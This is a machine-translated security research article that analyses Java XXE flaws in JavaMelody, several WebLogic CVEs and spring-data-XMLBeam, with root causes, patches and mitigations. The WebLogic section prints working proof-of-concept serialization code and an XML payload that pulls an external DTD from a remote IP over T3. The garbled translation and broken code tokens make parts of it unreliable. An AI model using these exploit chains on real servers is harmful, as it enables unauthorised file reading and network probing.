This article first appeared in the oppo Security Emergency Response Center:
0x01 Introduction:
If the XML parsing process in the presence of an external entity, if not add security configuration XML parsing, the XML document will contain data from an external URI. This behavior causes the XML External Entity (XXE) attack, which for a denial of service attack, read any file, scan network scan. Previous knowledge of xxe of stays in php, from the code level, its causes and preventive measures more single, and the java dependent on its rich library, resulting in a variety of ways parse xml data, which also means of defense with all kinds of contact, this paper analyzes from several cve understand java in xxe common xml parsing library, xxe reasons for the formation of java in xxe means of protection and xxe java in how to tap.
0x02 XXE correlation analysis:
1.JavaMelody components XXE
JavaMelody is a component used to monitor Java applications. By this assembly, the user can monitor the memory, CPU, user session even SQL request, etc., and the assembly provides a visual interface to users.
By default, as long as it is added pom dependencies, it will start along with the web service, so do not need any permission to access this route, if the leakage path as shown below would have been leaked sensitive information
1.1 points of vulnerability analysis
After monitor the filter will match the content of the request http request to do the process of acquiring the request type, in net / bull / javamelody / PayloadNameRequestWrapper in the process when the content-type for the following two cases:
1.contentType.startsWith("application/soap+xml")
2.contentType.startsWith("text/xml") || requests.getheader("SOAPAction")
Part of the call stack shown below:
In the content type xml data call parseSoapMethodName meet the request parsing rules to do http request content, this function is a loophole at
As used herein, xmlInputFactor factory class, which are provided with the same number of DocmentBuilderFactory feature xml normalizing process, the problem is that the default dtd are parsed and external entities may be used, the following configuration is the two leads in the case of default configuration xxe
<tr><td>javax.xml.stream.isSupportingExternalEntities</td><td>Resolve external parsed entities</td><td>Boolean</td><td>Unspecified</td><td>Yes</td></tr> <tr><td>javax.xml.stream.supportDTD</td><td>Use this property to request processors that do not support DTDs</td><td>Boolean</td><td>True</td><td>Yes</td></tr>
You can find some of the feature in the default file xmlInputFactor class, we can be understood as a feature configuration options are provided to parse xml
pom-dependent:
<dependency> <groupId>net.bull.javamelody</groupId> <artifactId>javamelody-spring-boot-starter</artifactId> <version>1.73.1</version> </dependency>
1.2 Code level repair
Then the new version of the corresponding repair assembly as shown, in the case of factory default settings before creating the objects parsed xml dtd off feature is disabled and the external entities, such defense xxe
1.3 How to avoid xxe
In actual development, xml data analysis for flow does not require the participation of an external entity, disable feature is provided. After determining component to parse xml version has been disabled out an external entity, should design filter to operate the access authentication to prevent unauthorized access to sensitive functions are.
The 2.weblogic xxe
This section focuses on the analysis of several weblogic xxe, including CVE-2019-2647-CVE2019-2650 and CVE2019-2888, then the reasons for these holes are weblogic dependent jar package when it comes to default xml data processing without external entities do restrictions, resulting in a sequence of payload can be transmitted through the T3 protocol, such external entities xxe
2.1 points of vulnerability analysis
At first Yes weblogic / wsee / reliability / WsrmServerPayloadContext under Oracle / Middleware / wlserver_10.3 / server / lib / weblogic.jar, weblogic from the input stream to process call stack section parsed xml data entry as shown below:
In readEndpt method WsrmServerPayloadContext in direct xml parsing it can be found, where DocumentBuilderFactory class as a parser factory class, there does not add any feature to limit load external entity, so only need to be concerned about whether or not controllable var14
ReadExternal then call a method WsrmServerPayloadContext readEndpt method, which will be called automatically when the deserialization, the readObject similar to normal, and the var14 readEndpt and from this point of var1 (payload input stream), which satisfies the controllability condition
From then deserialized xxe entry point is the case, then only configured to deserialize the data stream satisfies the condition can be sent to the port 7001 through the t3 protocol weblogic, find a sequence of function calls when the class tracking and its output stream on the line
Analyzing this.fromEndpt in writeExternal is not null, the output stream of incoming call writeEndpt can see examples of EndpointReference this.fromEndpt fact, an example of the method name written inlet parameters and guess To blind the output stream class
After the function of the fact that the function is mainly treated by serlialize XMLSerializer EndpointReference of the return value (Element class instance) is stored as the final byte array, and a byte array and its length in the output stream, then the XMLSerializer serialize method implemented in three kinds of overload, respectively, can be passed Element, DocumentFragment, Document, when in fact it if payload configuration using xml Element type overload, then in fact the sequence data contained in the write data xml external entity will be resolved eventually leaving only the node elements, so in order to retain the integrity of the xml payload in the payload, the need to use the Document type of overload, so there needs to be rewritten to WsrmServerPayloadContext writeEndpt method, we simply remove the jar package corresponding class bytecode files repackaged introduced, and then the package name and its new local class name to the same class, as we have to customize the target sequence consistent data (the next local xxe payload constructors of several weblogic They are the same with this)
Structure structure as shown above, we know that after the DocumentBuilder parse xml file processing returns Document, so we only need to deal with the results and then pass the serialize function to achieve their goals
Part rewritten as follows:
private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException, ParserConfigurationException, SAXException { ByteArrayOutputStream var3 = new ByteArrayOutputStream(); OutputFormat var4 = new OutputFormat("XML", (String)null, false); XMLSerializer var5 = new XMLSerializer(var3, var4); Document doc = null; Element element = null; DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder(); doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml"); var5.serialize(doc);
So based on previous analysis only as an example of EndpointReference assignment his.fromEndpt, then call our own payload parse xml parsing of DocumentBuilder to get the document can be overridden method in the writeEndpt
poc as follows:
import weblogic.wsee.addressing.EndpointReference; import weblogic.wsee.reliability.WsrmServerPayloadContext; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class weblogicxxe1 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe")); out.writeObject(instance); out.flush(); out.close(); } public static Object getObject() { EndpointReference fromEndpt = (EndpointReference) new EndpointReference(); WsrmServerPayloadContext wspc = new WsrmServerPayloadContext(); try { Field f1 = wspc.getClass().getDeclaredField("fromEndpt"); f1.setAccessible(true); f1.set(wspc, fromEndpt); } catch (Exception e) { e.printStackTrace(); } returnWSPC; } }
Poc generated as follows, serialized data payload contains a complete xml, then the t3 protocol can direct hit, the request may be parsed xml is indeed seen in the deserialization process and load the external entity
The second is located at weblogic / wsee / message / UnknownMsgHeader under the category Oracle / Middleware / wlserver_10.3 / server / lib / weblogic.jar, there is a direct xml parsing without any defensive measure readExternal method of this class, is still used DocumentBuilderFactory, weblogic from the input stream to the partial processing data analysis xml call stack entry as shown below:
parse method var9 inlet parameters when parsing xml readExternal method UnknownMsgHeader mainly from the input stream ObjectInput, controlled, then only structure corresponding to the sequence data
WriteExternal find its way where it can be seen that the writing is also used for payload xml XMLSerializer.serialize, xmlheader written here may be replaced for example after the Document class xml parsing, but here to use this.qname attributes, attribute to the output stream to write to the three values, since these three values are strings and not the prescribed format, so we can just arbitrarily assigned
Modify its writeExternal follows:
public void writeExternal(ObjectOutput var1) throws IOException{ var1.writeUTF("tr1ple"); var1.writeUTF("tr1ple"); var1.writeUTF("tr1ple"); ByteArrayOutputStream var2 = new ByteArrayOutputStream(); OutputFormat var3 = new OutputFormat("XML", (String)null, false); XMLSerializer var4 = new XMLSerializer(var2, var3); Document doc = null; DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder dbBuilder = null; try { dbBuilder = dbFactory.newDocumentBuilder(); doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml"); } catch (ParserConfigurationException e) { e.printStackTrace(); } catch (SAXException e) { e.printStackTrace(); } var4.serialize(doc);
little:
import org.w3c.dom.Element; import weblogic.wsee.message.UnknownMsgHeader;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class weblogicxxe2 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3")); out.writeObject(instance); out.flush(); out.close(); } public static Object getObject() { UnknownMsgHeader umh = new UnknownMsgHeader(); return umh; } }
After generating the transmission data sequence to trigger the t3 protocol xxe
Located at the third weblogic / wsee / reliability / WsrmSequenceContext under the category Oracle / Middleware / wlserver_10.3 / server / lib / weblogic.jar, which also exists in the two previous readEndpt process similar to the process flow analysis, using DocumentBuilder xml to parse the input stream containing the payload, the processing from the input stream to the partial weblogic call stack parsed xml data entry as shown below:
ReadExternal call its methods of readEndpt method, we construct here var2 is the length of xml data, so it must be greater than zero
Then only need to follow the logic of its writeEndpt write specifications on the line, we just need to control values before calling serialize to its inlet parameters
The changed writeExternal as follows:
private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException { try { DocumentBuilderFactory var3 = DocumentBuilderFactory.newInstance(); var3.setNamespaceAware(true); DocumentBuilder var4 = var3.newDocumentBuilder(); Document var5 = var4.newDocument(); Element var6 = var5.createElementNS(this.rmVersion.getNamespaceUri(), weblogic.wsee.reliability.WsrmConstants.Element.ACKS_TO.getQualifiedName(this.rmVersion)); DOMUtils.addNamespaceDeclaration(var6, this.rmVersion.getPrefix(), this.rmVersion.getNamespaceUri()); var1.write(var6); ByteArrayOutputStream var7 = new ByteArrayOutputStream(); OutputFormat var8 = new OutputFormat("XML", (String)null, false); XMLSerializer var9 = new XMLSerializer(var7, var8); Document doc = null; DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder(); doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml"); var9.serialize(doc);
little:
import weblogic.wsee.addressing.EndpointReference; import weblogic.wsee.reliability.WsrmSequenceContext; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class weblogicxxe3 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe4")); out.writeObject(instance); out.flush(); out.close(); } public static Object getObject() { EndpointReference end = new EndpointReference(); WsrmSequenceContext umh = new WsrmSequenceContext(); try { Field f1 = umh.getClass().getDeclaredField("acksTo"); f1.setAccessible(true); f1.set(umh, end); } catch (Exception e) { e.printStackTrace(); } returnUMH; } }
The fourth part is located at weblogic / wsee / wstx under Oracle / Middleware / wlserver_10.3 / server / lib / weblogic.jar / internal / ForeignRecoveryContext classes, the processing from the input stream weblogic inlet deserialization procedure call stack is illustrated as follows shows:
In the class file defines ForeignRecoveryContext if not directly to find xml processing flow, where the use of the structure compared to the first three, but still slightly delicate point, you need to know about the basic processing logic code. Internet did not find the specific analysis, only xxlegend master some simple reproducible analysis, first give its poc
import weblogic.wsee.wstx.internal.ForeignRecoveryContext; import weblogic.wsee.wstx.wsat.Transactional.Version; import javax.xml.ws.EndpointReference; import javax.transaction.xa.Xid; import javax.xml.transform.Result; import javax.xml.transform.stream.StreamResult; import java.io.*; import java.lang.reflect.Field; public class weblogicxxe4 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe1")); out.writeObject(instance); out.flush(); out.close(); } public static class MyEndpointReference extends EndpointReference { @Override public void writeTo(Result result){ byte[] tmpbytes = new byte[4096]; int nRead; try{ InputStream is = new FileInputStream(System.getProperty("user.dir")+"/src/main/resources/text.xml"); while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){ ((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead); } }catch (Exception e){ e.printStackTrace(); } return; } } public static Object getObject() { Xid xid = new weblogic.transaction.internal.XidImpl(); Version v = Version.DEFAULT; ForeignRecoveryContext frc = new ForeignRecoveryContext(); try{ Field f = frc.getClass().getDeclaredField("fxid"); f.setAccessible(true); f.set(frc,xid); Field f1 = frc.getClass().getDeclaredField("epr"); f1.setAccessible(true); f1.set(frc, new MyEndpointReference()); Field f2 = frc.getClass().getDeclaredField("version"); f2.setAccessible(true); f2.set(frc,v); }catch(Exception e){ e.printStackTrace(); } return frc; } }
Take a look at its writeExternal method, where arrows indicate is the crux of the structure of the payload, this.epr EndpointReference is an abstract class of objects, which is defined here to be sure the write function to achieve its subclasses, this is actually writes the results to var2, then poc only need to inherit EndpointReference and read our xml payload can be written to the var2, after a sequence of data to be written by var1
Then call its anti-serialization readExternal read our xml payload by readFrom method, the next step is a large section of the initialization process until after loading javax.xml.ws.spi.Provider to call its readEndpointReference xml data stream read
ReadExternal ForeignRecoveryContext to the trigger point portion vulnerability call stack shown below:
Then on to the trigger point xxe, where parse xml class also with three cve before the analysis is different here Unmarshaller class deserialize XML data parsed into java object, but did not add any protective measures here, leading to external entities can be injected, thereby producing xxe
At present in the fifth weblogic / servlet under Oracle / Middleware / wlserver_10.3 / server / lib / weblogic.jar / ejb2jsp / dd / EJBTaglibDescriptor classes exist for using DocumentBuilderFactory xml parsing function in the class load, and then the plant class is a subclass weblogic implementation in which to select whether to set the following two featue load external entities is limited according to the value of the local configuration weblogic.xml.jaxp.allow.externalDTD, however, can be loaded by default an external entity, so that two feature fail
this.delegate.setAttribute("http://xml.org/sax/features/external-general-entities", allow_external_dtd); this.delegate.setAttribute("http://xml.org/sax/features/external-parameter-entities", allow_external_dtd);
Processing the input stream to the weblogic deserialization inlet part of the process call stack shown below:
In its load control var4 can only function as a local input streams may be configured
Then only need to find where to call the load method can be seen in the call load method which is called readExternal deserialize, and can be determined from the data stream to the inlet parameters are controllable parse parse
Then only in a logical sequence of data can be configured writeExternal which incoming calls to toString Examples of EJBTaglibDescriptor
In tostring method in turn calls the instance's toxml output data to the original program you want to output to xmlwriter and eventually returns a string xml serialized data output, which println method xmlwriter is really responsible for writing data, which xml data that is written
So we chose to direct control of data can be written xmlwriter
Toxml rewritten as follows:
public void toXML(XMLWriter var1) { var1.println("<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" + "<!DOCTYPE data SYSTEM \"http://192.168.3.199:8989/1.dtd\" [\n" + " <!ELEMENT data (#PCDATA)>\n" + " ]>\n" + "<data>data</data>"); } }
Then local coverage native to EJBTaglibDescriptorc.class
little:
import weblogic.servlet.ejb2jsp.dd.EJBTaglibDescriptor; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class weblogicxxe5 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3")); out.writeObject(instance); out.flush(); out.close(); } public static Object getObject() { EJBTaglibDescriptor umh = new EJBTaglibDescriptor(); return umh; } }
2.2 Code level repair
So these xxe weblogic of all thanks to the agreement with the assist T3, only the class loader path weblogic classes can be utilized, only good local configuration payload, and transmits the serialized data to the T3 protocol format in which 7001 port can then weblogic in the updated patch, add the appropriate feature ban for these classes out external entities, thereby preventing attacks xxe
http://xml.org/sax/features/external-general-entities http://xml.org/sax/features/external-parameter-entities http://apache.org/xml/features/nonvalidating/load-external-dtd
And by the following attributes disabled xinclude out and turned off the external entity references
setXIncludeAware ( false ) setExpandEntityReferences ( false )
2.3 How to avoid xxe
2.2 Add the code from the code level of the single point, in fact, this method is simply a defense these classes, if added in the subsequent development of a new class present in a jar has not added feature xml parsing operation and can xml operation conducted classes can be serialized, it still faces the risk of leading to xxe. T3 protocol is a very important internal communication protocol of WebLogic, if the direct disable T3 protocol is likely to affect the normal business operation, you can set up a connection filter rules in the filter configuration weblogic console whitelist restrictions, select weblogic. security.net.ConnectionFilterImpl, will allow the IP address or network segment to allow, then in addition to all the IP address or network segment is set to deny.
3.spring-data-XMLBeam XXE
3.1 points of vulnerability analysis
Problem of the hole main xmlbeam this library, while spring-data-commons and use the xmlbeam to handle xml file transmitted from the client, parses its content and server response is returned, then the default allowed to load external entity parsing xml, resulting in XXE, belong echo XXE, part of the call stack shown below, wherein the readDocument Streaminput entering data parsed xml
Is familiar DocumentBuilder, can be seen in the creation of the factory and resolve not to add any feature between calls parse resolve to limit the external entities
pom-dependent:
<dependency> <groupId>org.xmlbeam</groupId> <artifactId>xmlprojector</artifactId> <version>1.4.13</version> </dependency> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-commons</artifactId> <version>2.0.5.RELEASE</version> </dependency>
3.2 Code level repair
xmlbeam used to create dom factory DocumentBuilderFactory, repaired to handle xml file processing of xmlbeam after major repair to set up some features, load external entity for the disabled, in addition to adding a loading within the joint DocTypeDtd ban, feature by dom factory setting function setFeature
The nature of the process flow, no problem, just need to do some protective measures before treatment for unwanted features directly off the disabled
3.3 How to avoid xxe
For xmlxbeam library is not upgraded versions before 1.4.15, we can create in your own xml parser factory class instance after disable feature to set off external entities dependent on or directly upgrade to a later version 1.4.15.
0x03 JAVA mining in XXE
java parsing many xml library, then the white-box may be introduced through a regular matching corresponding xml parsing class libraries, coupled with manual testing to determine whether the presence of such a regular matching the following common library
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
afanti master i.e. during the excavation can be serialized by the weblogic xxe xml using correlation analysis and matching library is then detected hand, the item address is: https://github.com/Afant1/JavaSearchTools , then the first pass tool according to claim jd the restoration byte code file -jui jar package as java file
To be used after the default format for saving javasearchtools.jar be scanned source
As shown below the built-in tool can match a regular file prior to the analysis of several of our existence xxe vulnerability, of course, the tool may exist false positives, but as an adjunct to narrow the scope of our search, then the next hand to simply scan out of class to go one by one to determine
Then the tool is determined xxe core is shown below the two Boolean values
Respectively, are the two regular match rule, matching a large number of built-xml xml parsing library, whether to match deserialize deserialize keywords, while meeting these two conditions class will be screened
It can also be used during the excavation methods such xxe elsewhere to match a regular auxiliary detection, such as for the above analysis does not require JavaMelody xbeam class and has the sequence characteristics of the thus flexibly according to the actual rules of match other components find a point in a jar may exist xxe
0x04 summary
After the above analysis, we can understand the reasons for the formation of java in xxe and xml handling classes which by default can lead to xxe, of course, other classes may have not mentioned in this article, but the truth is interlinked, JavaMelody analyzed in this article , Weblogic and xbeam core problem is the introduction of externally controllable xml xml data when it comes to data analysis, but did not consider the possibility of self-generated xxe loopholes, do not disable defenses external entity. https://find-sec-bugs.github.io/ this site also lists common standard defense against xml processing library, then in general, based on defense xxe mainly the following three:
1. The feature set to true to XMLConstants.FEATURE_SECURE_PROCESSING
This method actually load external entities, but still invokes SecuritySupport . Judge, in the determination of the protocol and external entities permitted whitelist checkAccess protocol matching, as set XMLConstants.FEATURE_SECURE_PROCESSINGProperty.ACCESS_EXTERNAL_DTD和
Property.ACCESS_EXTERNAL_SCHEMA两个属性设置为空,而解析节点之前将根据这两个属性来设置fAccessExternalDTD为空,接着解析节点过程中如果加载外部实体为true,所以会进入checkaccess函数里面以fAccessExternalDTD作为白名单协议数组,而其值已经被置空,所以实际上所有协议被禁用,从而以此方式来达到防御xxe,比如效果如下所示
2. Set the featurehttp://apache.org/xml/features/disallow-doctype-decl为true
This feature is literally have guessed that this value is true provided effectively disables (DTD) document type definitions, the determination Doctype parsing during parsing xml file fDisallowDoctype whether the attribute is true, if the error is true directly so so set on the complete elimination of xxe vulnerability, this approach completely eliminate all dtd declaration, including internal entity
3. If you want to use an internal entity, simply disable the external entity following two values to the setting, no parsing doctype, thus not being given, xml parsing other entities normally
FEATURE = "http://xml.org/sax/features/external-parameter-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://xml.org/sax/features/external-general-entities"; dbf.setFeature(FEATURE, false);
reference:
https://blog.spoock.com/2018/10/23/java-xxe/
https://www.leadroyal.cn/?p=914
https://www.leadroyal.cn/?p=930
https://find-sec-bugs.github.io/bugs.htm#XXE_DOCUMENT
https://xz.aliyun.com/t/7105#toc-3
https://www.cnblogs.com/-zhong/p/11246369.html
https://paper.seebug.org/906/ WebLogic more xxe
https://blog.csdn.net/he_and/article/details/89843004